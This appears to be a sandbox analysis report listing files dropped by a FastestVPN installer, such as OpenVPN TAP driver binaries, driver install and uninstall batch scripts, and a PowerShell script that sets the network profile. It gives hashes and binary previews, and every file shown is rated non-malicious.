                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........~..[...[...[....w..Z....w..^...[...m....w.._....w..^.../t..Q.../t..Z.../t..Z...Rich[...........................PE..d....z.].........."......Z.....................@....................................:.....`A....................................................<.......X....p..H....x...!...........R..8............................S...............P...............................text...W>.......@.................. ..h.rdata..|....P.......D..............@..H.data........`.......P..............@....pdata..H....p.......R..............@..HPAGE.................V.............. ..`INIT.................d.............. ..b.rsrc...X............p..............@..B.reloc...............v..............@..B................................................................................................................................................................................

                                                                                                                    C:\Program Files\FastestVPN\Resources\driver\windows\amd64\tapinstall.exe (copy)

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32+ executable (console) x86-64, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):498504
                                                                                                                    Entropy (8bit):6.313132779768202
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:3072:iVF7vR03+4YnfLU6wXnSmZb3lKm34AJ9Qvtk1Ai8mTnu5gtZXqg7VcoyUyHi6/Cz:iVXU/3TNfAkTnrZqkyh/agGKwNdUo15
                                                                                                                    MD5:F19CFFFF76FF48E98F060A563DD8345B
                                                                                                                    SHA1:C77F3FE9FFBA02DE288661FBB66656791196EDBC
                                                                                                                    SHA-256:16D1FF6409065D9C0BC50FC2ADE61B3299A141CF2553749D8891BEDBEA43DE70
                                                                                                                    SHA-512:0D4A53FA4B0D4FF71AF1FFF5888005570404BF5309942F477B1D754073F6D200ABADE20DAAFFA3FB6DA55F2B23588CA439273BD9268257B83B00F973B7B61841
                                                                                                                    Malicious:false
                                                                                                                    Antivirus:
                                                                                                                    • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......N....cv..cv..cv.Q.r..cv.Q.u..cv.Q.s..cv...s.#cv...r..cv...u..cv.Q.w..cv..cw..cv.~.s..cv.~....cv..c...cv.~.t..cv.Rich.cv.................PE..d....z.].........."......*...d.......z.........@..........................................`..................................................S..x............... L...x..H#......D.......T............................................@...............................text....).......*.................. ..`.rdata...%...@...&..................@..@.data....(...p.......T..............@....pdata.. L.......N...d..............@..@_RDATA..............................@..@.rsrc...............................@..@.reloc..D............n..............@..B................................................................................................................................................................................................

                                                                                                                    C:\Program Files\FastestVPN\Resources\driver\windows\amd64\uninstall_tap.bat (copy)

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:DOS batch file, ASCII text, with CRLF line terminators
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):142
                                                                                                                    Entropy (8bit):4.838122400792552
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:3:mKDD2G2FuyPuCkjLoOMXrHt9QVVkUoYmdFwLMiREl32AGN8BvAOA:hiPFvPullYkVVkxYmQLNREVNGN8B6
                                                                                                                    MD5:012961E4DD4402DA78BC174AF09B77F9
                                                                                                                    SHA1:900CA53983FAA217DD134664A9E694138E9A6FDF
                                                                                                                    SHA-256:E7D73C9323599320AFA243DB5313F1A55ADFC34EDE66A4A656CA9172BF3C273D
                                                                                                                    SHA-512:332A6BA6D1923A020DDB36E6E6FA80141B737ECC51EE52EE0D147B85DBC95DD3E97DA20083EAB3F5218DD9F4CA37DA986D35989F251F72C2512A42CBB6B462B9
                                                                                                                    Malicious:false
                                                                                                                    Preview:@echo off..@cd /d %~dp0..echo Removing TAP driver.....tapinstall.exe remove tap0901..echo TAP Driver Uninstall completed successfully!..exit..

                                                                                                                    C:\Program Files\FastestVPN\Resources\driver\windows\i386\OemVista.inf (copy)

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:Windows setup INFormation
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):7533
                                                                                                                    Entropy (8bit):5.046821594517318
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:192:wr8tW9yCTi3K4vlP2bjR+iAUC7bdP+io3DcNSj6jvKFkinuEQTXvzLd4Z:LWlGTxzo3DcNSj6jvKFkinuEQTXvzaZ
                                                                                                                    MD5:3A541F2BF9842CDE6F0C95E83DE14FFA
                                                                                                                    SHA1:12C074F03AA19968893F2BE48FDEF42A293B7EE4
                                                                                                                    SHA-256:598EAD8481136AB0C8C99E67CA30841DB3C32417B45D6FEEDE04802DB0C4C320
                                                                                                                    SHA-512:F060851D26E978AFA6AC632E74C221FB837FDEEE7752762BEE210D7BE144195A27514E108EF8C19A642BC03486E94721BD1B9D4AC69DB26BD892DCAA7894D3D2
                                                                                                                    Malicious:false
                                                                                                                    Preview:; ****************************************************************************..; * Copyright (C) 2002-2014 OpenVPN Technologies, Inc. *..; * This program is free software; you can redistribute it and/or modify *..; * it under the terms of the GNU General Public License version 2 *..; * as published by the Free Software Foundation. *..; ****************************************************************************....; SYNTAX CHECKER..; cd \WINDDK\3790\tools\chkinf..; chkinf c:\src\openvpn\tap-win32\i386\oemvista.inf..; OUTPUT -> file:///c:/WINDDK/3790/tools/chkinf/htm/c%23+src+openvpn+tap-win32+i386+__OemWin2k.htm....; INSTALL/REMOVE DRIVER..; tapinstall install OemVista.inf tapoas..; tapinstall update OemVista.inf tapoas..; tapinstall remove tapoas....;*********************************************************..; Note to Developers:..;..; If you are bundling the TAP-Windows driver with your app,..; you should try

                                                                                                                    C:\Program Files\FastestVPN\Resources\driver\windows\i386\install_tap.bat (copy)

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:DOS batch file, ASCII text, with CRLF line terminators
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):228
                                                                                                                    Entropy (8bit):4.832057381123706
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:6:hiPFvPuaYkVVkZ0BNLllYYLV3GZ0Q/RLQ8NGN8BP:E9HuaYcyZcNLllYbZh/a8NGNc
                                                                                                                    MD5:939DFFC36D36E4C85EE6703C812987E5
                                                                                                                    SHA1:3BA5F451B1F5C269B4F51E847DA79A3C619CB9C9
                                                                                                                    SHA-256:843C2DFB5FE8DFE7C5266F8F79D1E0AC0BA3E40D5C883D4AF879B6F273B7499E
                                                                                                                    SHA-512:8958432897981533C2822AC7355D56FC490EB89157423FAA5DF13A5EC00E75A9E791A3ECF478561C3B13988C553FD739FD2047C37EF91972DBF61AB55D475314
                                                                                                                    Malicious:false
                                                                                                                    Preview:@echo off..@cd /d %~dp0..echo Removing old TAP driver.....tapinstall.exe remove tap0901 ..echo Installing TAP driver.....tapinstall.exe install OemVista.inf tap0901 ..echo TAP Driver Re-Installation completed successfully!..exit

                                                                                                                    C:\Program Files\FastestVPN\Resources\driver\windows\i386\is-0SJ98.tmp

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32 executable (console) Intel 80386, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):387400
                                                                                                                    Entropy (8bit):6.458236487570103
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:6144:UTksWxn+v8a7/e3uFm4uy6b1aptMtx1IAOrPdmB4SS4Vw3VTBZiA916NkW:Akska7m3uFm4uy6b10MtxnOrPdmBe3XE
                                                                                                                    MD5:46F33BBA03FF35C0A777B5875E832559
                                                                                                                    SHA1:C4B5487307DB1B715EDA5C233DBD346EF44ABF02
                                                                                                                    SHA-256:72D329B11A240403A74990F7F05CDDA684F53FBFC1E45EE3E565E38000C6FDA1
                                                                                                                    SHA-512:7130F9DEE420D2A377E3CDAE0C47D1F8446E2DA4E021274A15F4FD00583F79C0DBF05819216ABBAAE5493BF1CB1E4FA08EFA673CCDA1BC3A623BAEC828DFC413
                                                                                                                    Malicious:false
                                                                                                                    Antivirus:
                                                                                                                    • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........b...1...1...1..0...1..0{..1..0.1C.0..1C.0.1C.0.1..0...1...1b..1..0...1..p1...1...1...1..0...1Rich...1........PE..L....z.].................<..........`m.......P....@.................................~.....@.....................................x.......................H#.......$......T...........................(...@............P..h............................text....;.......<.................. ..`.rdata..J....P.......@..............@..@.data...l...........................@....rsrc...............................@..@.reloc...$.......&..................@..B........................................................................................................................................................................................................................................................................................................

                                                                                                                    C:\Program Files\FastestVPN\Resources\driver\windows\i386\is-7UMG2.tmp

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:data
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):10010
                                                                                                                    Entropy (8bit):7.143392930093258
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:192:bdOUGdndfdZubhd95wRLeOup+ZscF8Bd1LELx8a9sgfxIZH3:p7oFZYQA9+ZsHLE98Dgf2h3
                                                                                                                    MD5:BEE546D1A9EE2F74F4C9B0A347DBAB7C
                                                                                                                    SHA1:BB655AEDDFACE5C498DC8EC5A3E68685FDFE6D50
                                                                                                                    SHA-256:DBC0D9D157718C90227D527A9BFC87C9135426A7A1A7C0ECD3F43825AAA2EE0E
                                                                                                                    SHA-512:B68F5F6572BB881B116746AB1BF90AE1E16449E0797D482B1D5A551241ED37A30EF105AECA7B1CEB62CB38962B285D29159B9E68DC1BC3B457B2A14531A80F44
                                                                                                                    Malicious:false
                                                                                                                    Preview:0.'...*.H........'.0.'....1.0...`.H.e......0..:..+.....7.....+0..'0...+.....7.....\.6.D..E..Wm(.p...191031061137Z0...+.....7.....0...0....R1.2.C.0.7.4.F.0.3.A.A.1.9.9.6.8.8.9.3.F.2.B.E.4.8.F.D.E.F.4.2.A.2.9.3.B.7.E.E.4...1..)0<..+.....7...1.0,...F.i.l.e........o.e.m.v.i.s.t.a...i.n.f...0>..+.....7...100....O.S.A.t.t.r........2.:.6...0.,.2.:.6...1...0E..+.....7...17050...+.....7.......0!0...+..........t.:..h.?+...*);~.0b..+.....7...1T0R.L.{.D.E.3.5.1.A.4.2.-.8.E.5.9.-.1.1.D.0.-.8.C.4.7.-.0.0.C.0.4.F.C.2.9.5.E.E.}....0....RA.F.B.A.B.0.D.E.D.C.D.F.C.2.1.F.3.6.4.E.D.0.2.4.6.9.0.4.8.1.A.F.D.C.8.D.3.6.E.1...1../0:..+.....7...1,0*...F.i.l.e........t.a.p.0.9.0.1...s.y.s...0>..+.....7...100....O.S.A.t.t.r........2.:.6...0.,.2.:.6...1...0M..+.....7...1?0=0...+.....7...0...........0!0...+................6N.$i....6.0b..+.....7...1T0R.L.{.C.6.8.9.A.A.B.8.-.8.E.7.8.-.1.1.D.0.-.8.C.4.7.-.0.0.C.0.4.F.C.2.9.5.E.E.}.......0..0V..+.....7....H0F...O.S.......8V.i.s.t.a.X.8.6.,.S.e.r.v.e.r.2.0.0.8.X.8.6.,

                                                                                                                    C:\Program Files\FastestVPN\Resources\driver\windows\i386\is-EUPO7.tmp

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32 executable (native) Intel 80386, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):34264
                                                                                                                    Entropy (8bit):6.451114076364161
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:384:nToflu9IisjjMJvOA4hKtbAwut9l/AxkDur/MvBhLwI7PKA+bkxQJ7XakZSZ4dS5:nToBjjOOA4dR/uQvBbuALxQbagPKgzW
                                                                                                                    MD5:EF55CAAABD0E13C304587D941C343F77
                                                                                                                    SHA1:F0E323EF510E00FC925A7FB37C625D077FECA8A3
                                                                                                                    SHA-256:A4E2E4194E15BC93A53FFAB121CCE22CC76EDBC18DFB83132A95F92C9220509F
                                                                                                                    SHA-512:D2C61CCB73C90D26A4D39EBADE87A6F7F23CAA34B29AE14FFA08CA48A32086C6553CA12D38362B6179E82776F3D76F4B05FDD2238B5E7BE4FEEC98A4D8D52573
                                                                                                                    Malicious:false
                                                                                                                    Antivirus:
                                                                                                                    • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........C..."..."..."...J..."...J..."...J..."..."..."...J..."...I..."...I."...I..."..Rich."..................PE..L....z.].................N...................P....@.......................................@A....................................P.......X............d...!.......... R..8...........................XR..@............P...............................text....7.......8.................. ..h.rdata..,....P.......<..............@..H.data........`.......B..............@...PAGE....[....p.......D.............. ..`INIT....T............P.............. ..b.rsrc...X............Z..............@..B.reloc...............`..............@..B................................................................................................................................................................................................................................................

                                                                                                                    C:\Program Files\FastestVPN\Resources\driver\windows\i386\is-FO1DF.tmp

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:Windows setup INFormation
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):7533
                                                                                                                    Entropy (8bit):5.046821594517318
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:192:wr8tW9yCTi3K4vlP2bjR+iAUC7bdP+io3DcNSj6jvKFkinuEQTXvzLd4Z:LWlGTxzo3DcNSj6jvKFkinuEQTXvzaZ
                                                                                                                    MD5:3A541F2BF9842CDE6F0C95E83DE14FFA
                                                                                                                    SHA1:12C074F03AA19968893F2BE48FDEF42A293B7EE4
                                                                                                                    SHA-256:598EAD8481136AB0C8C99E67CA30841DB3C32417B45D6FEEDE04802DB0C4C320
                                                                                                                    SHA-512:F060851D26E978AFA6AC632E74C221FB837FDEEE7752762BEE210D7BE144195A27514E108EF8C19A642BC03486E94721BD1B9D4AC69DB26BD892DCAA7894D3D2
                                                                                                                    Malicious:false
                                                                                                                    Preview:; ****************************************************************************..; * Copyright (C) 2002-2014 OpenVPN Technologies, Inc. *..; * This program is free software; you can redistribute it and/or modify *..; * it under the terms of the GNU General Public License version 2 *..; * as published by the Free Software Foundation. *..; ****************************************************************************....; SYNTAX CHECKER..; cd \WINDDK\3790\tools\chkinf..; chkinf c:\src\openvpn\tap-win32\i386\oemvista.inf..; OUTPUT -> file:///c:/WINDDK/3790/tools/chkinf/htm/c%23+src+openvpn+tap-win32+i386+__OemWin2k.htm....; INSTALL/REMOVE DRIVER..; tapinstall install OemVista.inf tapoas..; tapinstall update OemVista.inf tapoas..; tapinstall remove tapoas....;*********************************************************..; Note to Developers:..;..; If you are bundling the TAP-Windows driver with your app,..; you should try

                                                                                                                    C:\Program Files\FastestVPN\Resources\driver\windows\i386\is-N7H3Q.tmp

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:DOS batch file, ASCII text, with CRLF line terminators
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):228
                                                                                                                    Entropy (8bit):4.832057381123706
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:6:hiPFvPuaYkVVkZ0BNLllYYLV3GZ0Q/RLQ8NGN8BP:E9HuaYcyZcNLllYbZh/a8NGNc
                                                                                                                    MD5:939DFFC36D36E4C85EE6703C812987E5
                                                                                                                    SHA1:3BA5F451B1F5C269B4F51E847DA79A3C619CB9C9
                                                                                                                    SHA-256:843C2DFB5FE8DFE7C5266F8F79D1E0AC0BA3E40D5C883D4AF879B6F273B7499E
                                                                                                                    SHA-512:8958432897981533C2822AC7355D56FC490EB89157423FAA5DF13A5EC00E75A9E791A3ECF478561C3B13988C553FD739FD2047C37EF91972DBF61AB55D475314
                                                                                                                    Malicious:false
                                                                                                                    Preview:@echo off..@cd /d %~dp0..echo Removing old TAP driver.....tapinstall.exe remove tap0901 ..echo Installing TAP driver.....tapinstall.exe install OemVista.inf tap0901 ..echo TAP Driver Re-Installation completed successfully!..exit

                                                                                                                    C:\Program Files\FastestVPN\Resources\driver\windows\i386\is-QK97L.tmp

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:DOS batch file, ASCII text, with CRLF line terminators
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):142
                                                                                                                    Entropy (8bit):4.838122400792552
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:3:mKDD2G2FuyPuCkjLoOMXrHt9QVVkUoYmdFwLMiREl32AGN8BvAOA:hiPFvPullYkVVkxYmQLNREVNGN8B6
                                                                                                                    MD5:012961E4DD4402DA78BC174AF09B77F9
                                                                                                                    SHA1:900CA53983FAA217DD134664A9E694138E9A6FDF
                                                                                                                    SHA-256:E7D73C9323599320AFA243DB5313F1A55ADFC34EDE66A4A656CA9172BF3C273D
                                                                                                                    SHA-512:332A6BA6D1923A020DDB36E6E6FA80141B737ECC51EE52EE0D147B85DBC95DD3E97DA20083EAB3F5218DD9F4CA37DA986D35989F251F72C2512A42CBB6B462B9
                                                                                                                    Malicious:false
                                                                                                                    Preview:@echo off..@cd /d %~dp0..echo Removing TAP driver.....tapinstall.exe remove tap0901..echo TAP Driver Uninstall completed successfully!..exit..

                                                                                                                    C:\Program Files\FastestVPN\Resources\driver\windows\i386\tap0901.cat (copy)

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:data
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):10010
                                                                                                                    Entropy (8bit):7.143392930093258
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:192:bdOUGdndfdZubhd95wRLeOup+ZscF8Bd1LELx8a9sgfxIZH3:p7oFZYQA9+ZsHLE98Dgf2h3
                                                                                                                    MD5:BEE546D1A9EE2F74F4C9B0A347DBAB7C
                                                                                                                    SHA1:BB655AEDDFACE5C498DC8EC5A3E68685FDFE6D50
                                                                                                                    SHA-256:DBC0D9D157718C90227D527A9BFC87C9135426A7A1A7C0ECD3F43825AAA2EE0E
                                                                                                                    SHA-512:B68F5F6572BB881B116746AB1BF90AE1E16449E0797D482B1D5A551241ED37A30EF105AECA7B1CEB62CB38962B285D29159B9E68DC1BC3B457B2A14531A80F44
                                                                                                                    Malicious:false
                                                                                                                    Preview:0.'...*.H........'.0.'....1.0...`.H.e......0..:..+.....7.....+0..'0...+.....7.....\.6.D..E..Wm(.p...191031061137Z0...+.....7.....0...0....R1.2.C.0.7.4.F.0.3.A.A.1.9.9.6.8.8.9.3.F.2.B.E.4.8.F.D.E.F.4.2.A.2.9.3.B.7.E.E.4...1..)0<..+.....7...1.0,...F.i.l.e........o.e.m.v.i.s.t.a...i.n.f...0>..+.....7...100....O.S.A.t.t.r........2.:.6...0.,.2.:.6...1...0E..+.....7...17050...+.....7.......0!0...+..........t.:..h.?+...*);~.0b..+.....7...1T0R.L.{.D.E.3.5.1.A.4.2.-.8.E.5.9.-.1.1.D.0.-.8.C.4.7.-.0.0.C.0.4.F.C.2.9.5.E.E.}....0....RA.F.B.A.B.0.D.E.D.C.D.F.C.2.1.F.3.6.4.E.D.0.2.4.6.9.0.4.8.1.A.F.D.C.8.D.3.6.E.1...1../0:..+.....7...1,0*...F.i.l.e........t.a.p.0.9.0.1...s.y.s...0>..+.....7...100....O.S.A.t.t.r........2.:.6...0.,.2.:.6...1...0M..+.....7...1?0=0...+.....7...0...........0!0...+................6N.$i....6.0b..+.....7...1T0R.L.{.C.6.8.9.A.A.B.8.-.8.E.7.8.-.1.1.D.0.-.8.C.4.7.-.0.0.C.0.4.F.C.2.9.5.E.E.}.......0..0V..+.....7....H0F...O.S.......8V.i.s.t.a.X.8.6.,.S.e.r.v.e.r.2.0.0.8.X.8.6.,

                                                                                                                    C:\Program Files\FastestVPN\Resources\driver\windows\i386\tap0901.sys (copy)

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32 executable (native) Intel 80386, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):34264
                                                                                                                    Entropy (8bit):6.451114076364161
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:384:nToflu9IisjjMJvOA4hKtbAwut9l/AxkDur/MvBhLwI7PKA+bkxQJ7XakZSZ4dS5:nToBjjOOA4dR/uQvBbuALxQbagPKgzW
                                                                                                                    MD5:EF55CAAABD0E13C304587D941C343F77
                                                                                                                    SHA1:F0E323EF510E00FC925A7FB37C625D077FECA8A3
                                                                                                                    SHA-256:A4E2E4194E15BC93A53FFAB121CCE22CC76EDBC18DFB83132A95F92C9220509F
                                                                                                                    SHA-512:D2C61CCB73C90D26A4D39EBADE87A6F7F23CAA34B29AE14FFA08CA48A32086C6553CA12D38362B6179E82776F3D76F4B05FDD2238B5E7BE4FEEC98A4D8D52573
                                                                                                                    Malicious:false
                                                                                                                    Antivirus:
                                                                                                                    • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........C..."..."..."...J..."...J..."...J..."..."..."...J..."...I..."...I."...I..."..Rich."..................PE..L....z.].................N...................P....@.......................................@A....................................P.......X............d...!.......... R..8...........................XR..@............P...............................text....7.......8.................. ..h.rdata..,....P.......<..............@..H.data........`.......B..............@...PAGE....[....p.......D.............. ..`INIT....T............P.............. ..b.rsrc...X............Z..............@..B.reloc...............`..............@..B................................................................................................................................................................................................................................................

                                                                                                                    C:\Program Files\FastestVPN\Resources\driver\windows\i386\tapinstall.exe (copy)

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32 executable (console) Intel 80386, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):387400
                                                                                                                    Entropy (8bit):6.458236487570103
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:6144:UTksWxn+v8a7/e3uFm4uy6b1aptMtx1IAOrPdmB4SS4Vw3VTBZiA916NkW:Akska7m3uFm4uy6b10MtxnOrPdmBe3XE
                                                                                                                    MD5:46F33BBA03FF35C0A777B5875E832559
                                                                                                                    SHA1:C4B5487307DB1B715EDA5C233DBD346EF44ABF02
                                                                                                                    SHA-256:72D329B11A240403A74990F7F05CDDA684F53FBFC1E45EE3E565E38000C6FDA1
                                                                                                                    SHA-512:7130F9DEE420D2A377E3CDAE0C47D1F8446E2DA4E021274A15F4FD00583F79C0DBF05819216ABBAAE5493BF1CB1E4FA08EFA673CCDA1BC3A623BAEC828DFC413
                                                                                                                    Malicious:false
                                                                                                                    Antivirus:
                                                                                                                    • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........b...1...1...1..0...1..0{..1..0.1C.0..1C.0.1C.0.1..0...1...1b..1..0...1..p1...1...1...1..0...1Rich...1........PE..L....z.].................<..........`m.......P....@.................................~.....@.....................................x.......................H#.......$......T...........................(...@............P..h............................text....;.......<.................. ..`.rdata..J....P.......@..............@..@.data...l...........................@....rsrc...............................@..@.reloc...$.......&..................@..B........................................................................................................................................................................................................................................................................................................

                                                                                                                    C:\Program Files\FastestVPN\Resources\driver\windows\i386\uninstall_tap.bat (copy)

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:DOS batch file, ASCII text, with CRLF line terminators
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):142
                                                                                                                    Entropy (8bit):4.838122400792552
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:3:mKDD2G2FuyPuCkjLoOMXrHt9QVVkUoYmdFwLMiREl32AGN8BvAOA:hiPFvPullYkVVkxYmQLNREVNGN8B6
                                                                                                                    MD5:012961E4DD4402DA78BC174AF09B77F9
                                                                                                                    SHA1:900CA53983FAA217DD134664A9E694138E9A6FDF
                                                                                                                    SHA-256:E7D73C9323599320AFA243DB5313F1A55ADFC34EDE66A4A656CA9172BF3C273D
                                                                                                                    SHA-512:332A6BA6D1923A020DDB36E6E6FA80141B737ECC51EE52EE0D147B85DBC95DD3E97DA20083EAB3F5218DD9F4CA37DA986D35989F251F72C2512A42CBB6B462B9
                                                                                                                    Malicious:false
                                                                                                                    Preview:@echo off..@cd /d %~dp0..echo Removing TAP driver.....tapinstall.exe remove tap0901..echo TAP Driver Uninstall completed successfully!..exit..

                                                                                                                    C:\Program Files\FastestVPN\Resources\is-27RBI.tmp

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32+ executable (console) x86-64, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):94856
                                                                                                                    Entropy (8bit):5.499392443352034
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:1536:RmYSYxGfIZnRnD6M7EFOUakPhtUn6KXF4O7Wm1xK/CpcW:QYFZnRDGdvPXU6K1RWmPK/4h
                                                                                                                    MD5:834EE5DA601A6C78C43C64F6C282682F
                                                                                                                    SHA1:03920B402B787CA53CD79A66B0B611C899B91F3E
                                                                                                                    SHA-256:754B61DA108CC9379585E18DDCE90A8092C1B17DA5D922A6E8D6CE84A90B0F87
                                                                                                                    SHA-512:C4A6A49D1EE316FB9EA399487EA17DD813C0A611F473F4FD054D07F6D5C6BB786D40FA478254A499DB3E1D5F0AFDA3B72651EF097945D0C3AA9F0D83D9C0ED06
                                                                                                                    Malicious:false
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........V........-.....;......<.......+....%......S....%......2....~......,.....)...Rich..........PE..d...<..W..........".................Tv..............................................I.....@.......... ..................................................h.......l....D.......p..........................................................X............................text............................... ..`.data...............................@....pdata..l...........................@..@.rsrc...h...........................@..@.reloc..z....p.......B..............@..B................................................................................................................................................................................................................................................................................................

                                                                                                                    C:\Program Files\FastestVPN\Resources\is-2M6O7.tmp

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:ASCII text, with CRLF line terminators
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):359
                                                                                                                    Entropy (8bit):5.09733291062762
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:6:i4Z2TyUdkl9WUyUdkwc1+XMoHkyUdk3LASg0TqeXMFXA98XfFZ/FvjCzISMOmEm:jZELklIULktkXxELk35q0MhA98vFZ/FV
                                                                                                                    MD5:777B3CBF81DDD8B238BDEDDDEA17AFED
                                                                                                                    SHA1:C72F46715DCBC9BDA1E2BEEAC8AF2A64E7B48D08
                                                                                                                    SHA-256:DACE14B4A5268728E67A9E78D8F0877F4C87F6B87DDD40DFF28A11E9E42945CF
                                                                                                                    SHA-512:5C6D302F93381EBF65ADD3DAA0EB4813270C5D9A042AD9B8A48A575ADC4E751D3834292BB61AEF6A5458036AE6E3C83C8EDFAE5CF828D81317ACAE6675B8E619
                                                                                                                    Malicious:false
                                                                                                                    Preview:If (-NOT ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator"))..{ ..$arguments = "& '" + $myinvocation.mycommand.definition + "'"..Start-Process powershell -Verb runAs -ArgumentList $arguments..Break..}.. Set-NetConnectionProfile -NetworkCategory Private

                                                                                                                    C:\Program Files\FastestVPN\Resources\is-3IEGE.tmp

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32 executable (console) Intel 80386, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):918536
                                                                                                                    Entropy (8bit):6.038516348303836
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:12288:Kts+IUZyyi1sznLRjH0qawdB1iT7jwq7Kjn+o/J:KtLIUZPyaVH0qawP1iDwjn+oh
                                                                                                                    MD5:6F1B7C24C5FF662F4364B323F42C101A
                                                                                                                    SHA1:B74949B7A809F8139BD89BD5B96E230108A6615D
                                                                                                                    SHA-256:034248CEFD5BC35A927682E44B79C354A0AEE25E800CF99D86EC591FD8722B5A
                                                                                                                    SHA-512:B13B4A46FB14C687925DE21982C4DE66C201E9FE16D7C03B2C65900CEF47C5E6DB338545E868EE6216C2A92453557BEA6C0D084B5D76A731CAA00BA821FA40E0
                                                                                                                    Malicious:false
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....$.Y...../...................H................@.................................n.....@... .........................N.......(................................a...................................................#..`............................text...............................`.P`.data....%.......&..................@.`..rdata..D...........................@.`@.bss.....G............................`..edata..N...........................@.0@.idata..(...........................@.0..CRT....4...........................@.0..tls.... ............0..............@.0..reloc...a.......b...2..............@.0B/4...........P......................@..B/19..........`......................@..B/31.....]............8..............@..B/45.......... .......T..............@..B/57..........@.......p..............@.0B/70..........P.......x..............@..B/81..........`.......~..

                                                                                                                    C:\Program Files\FastestVPN\Resources\is-4JTDD.tmp

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32+ executable (console) x86-64, for MS Windows
